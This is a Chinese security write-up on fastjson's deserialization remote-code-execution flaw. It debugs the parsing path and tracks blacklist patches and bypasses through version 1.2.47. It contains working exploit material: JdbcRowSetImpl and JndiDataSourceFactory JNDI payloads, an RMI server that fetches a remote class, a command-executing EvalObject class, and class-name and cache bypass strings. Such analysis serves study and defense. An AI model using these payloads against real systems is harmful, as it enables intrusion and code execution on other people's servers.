关于
https://github.com/alibaba/fastjson/wiki/security_update_20170315
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。
环境
Fastjson:1.2.23(http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.23/)
Jdk:1.7.0
demo
测试类User1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Fastjson.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.HashMap;
import java.util.Map;
public class Fastjson {
public static void main(String[] args) {
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key1",1);
map.put("key2",2);
String json = JSON.toJSONString(map);
System.out.println(json);
User u = new User();
u.setAge(20);
u.setName("HU3sky");
//序列化
String ser = JSON.toJSONString(u);
System.out.println(ser);
String ser1 = JSON.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(ser1);
}
}
结果
我们发现,SerializerFeature.WriteClassName
会多写入一个@type
type可以指定反序列化的类,并且调用其get,set方法
添加反序列化内容1
2
3//通过parse进行反序列化
User u2 = (User)JSON.parse(ser1);
System.out.println(u2.getAge());
添加代码1
2
3
4
5
6
7//通过parseObject方法进行反序列化 通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(ser1);
System.out.println(obj.getClass().getName());
//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(ser1,Object.class);
System.out.println(obj1.getClass().getName());
输出
Fastjson反序列化主要的两个api就是JSON.parse
,JSON.parseObject
,主要区别就是JSON.parse
会返回实际的当前类,而JSON.parseObject
会返回一个JSONObject
类
现在有1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"User\",\"age\":15,\"name\":\"Hu3sky\",\"secret\":\"a\"}";
JSONObject js = JSON.parseObject(json);
System.out.println(js.get("age"));
}
}
给User对象添加一个无参构造方法,同时修改get set方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29public class User {
public String name;
private int age;
private String secret;
public User()
{
System.out.println("User() is called");
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getSecret() {
return secret;
}
}
此时获取到了age,调用了set方法去设置值
如果我们获取没有set方法的secret1
System.out.println(js.get("secret"));
返回值为null
如果也想让没有set方法的secret有值呢
修改1
User js = JSON.parseObject(json,User.class, Feature.SupportNonPublicField);
使用FastJson提供参数设定Feature.SupportNonPublicField,才能还原私有属性
parse和parseObject自动调用的方法1
2
3parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
漏洞利用(基于JdbcRowSetImpl)
POC1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvalObject","autoCommit":true}
payload利用了一个jdni注入利用rmi协议请求恶意类
test目录下
EvalObject.java1
2
3
4
5
6
7import java.io.IOException;
public class EvalObject {
public EvalObject() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
RMIServer.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvalObject", "EvalObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
Test.java1
2
3
4
5
6
7
8import com.alibaba.fastjson.JSONObject;
public class Test {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvalObject\",\"autoCommit\":true}";
JSONObject.parseObject(payload);
}
}
在test目录下监听8080端口
接着运行RMIServer
最后运行Test.java
漏洞分析
首先关于JdbcRowSetImpl类的介绍
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html
在/com/alibaba/fastjson/parser/DefaultJSONParser.class
检测到”,于是进入scanSymbol
在/com/alibaba/fastjson/parser/JSONLexerBase.class
的scanSymbol
解析出@type
字符串
继续,调试到
进入scan,解析出类名
接着加载该类,返回class com.sun.rowset.JdbcRowSetImpl
然后在这里进行了反序列化
该函数在/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class
接着就是执行JdbcRowSetImpl
的set方法了/rt.jar!/com/sun/rowset/JdbcRowSetImpl.class
1 | public void setDataSourceName(String var1) throws SQLException { |
接着调用setAutoCommit
1
2
3
4
5
6
7
8
9public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
在connect方法里1
2
3
4
5
6
7
8
9
10
11
12
13
14
15protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
关键代码,调用了lookup,去获取getDataSourceName()
1
2InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
补丁
1.2.25
src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java
1
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
同时在src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
添加了黑名单
同样的payload报错了
报错位置:/src/lib/fastjson-1.2.25.jar!/com/alibaba/fastjson/parser/ParserConfig.class:746
com.sun.
在黑名单denyList
里,所以报错了
1.2.41
payload:1
Lcom.sun.rowset.JdbcRowSetImpl;
在/src/lib/fastjson-1.2.42.jar!/com/alibaba/fastjson/util/TypeUtils.class
有1
2
3
4
5
6
7
8
9
10public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
可以看到,如果类的开头是L,结尾是; 那么就会生成一个新的类,去掉开头和结尾
并且是先进行黑名单的检测,再进行loadClass
那么我们构造类名1
Lcom.sun.rowset.JdbcRowSetImpl;
1.2.42
payload:1
LLcom.sun.rowset.JdbcRowSetImpl;;
黑名单改为hash模式
关于黑名单解密
https://github.com/LeadroyaL/fastjson-blacklist
1 | this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L}; |
这段代码进行了一个检测1
2
3if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
对L开头的和;结尾的进行了处理
然后再去做判断的时候
就会判断为在denyHashCodes
里,所以我们写两层
LLcom.sun.rowset.JdbcRowSetImpl;;
这样就能进入loadClass
两次循环
就去掉了L和;
1.2.43
1 | if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { |
暴力。检测到LL开头,就报错
1.2.45
1.2.42-1.2.45都可以
payload:1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/EvalObject"}}
针对1.2.45补丁:扩展了黑名单
1.2.47
payload:1
"{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvalObject","autoCommit":true}}}";
分析:
在checkAutoType
的时候,传入的@type是java.lang.Class
这不在黑名单中,执行完checkAutoType
后,回到DefaultJSONParser
在364行,调用MiscCodec
的deserialze
进行反序列化
在MiscCodec#deserialze:231
调用parse提取出了val的值也就是com.sun.rowset.JdbcRowSetImpl
,赋值给了objVal
最后又赋值给了strVal
在这里loadClass直接去加载了strVal
也就是恶意类
继续跟入loadClass
类被放入了map中,cache默认为true,所以能进入
然后触发第二段payload
此时的typeName
是com.sun.rowset.JdbcRowSetImpl
直接从map中取出
接着直接返回了
然后在DefaultJSONParser.class:364
反序列化com.sun.rowset.JdbcRowSetImpl
至此,分析结束
>1.2.47
修改cache默认为false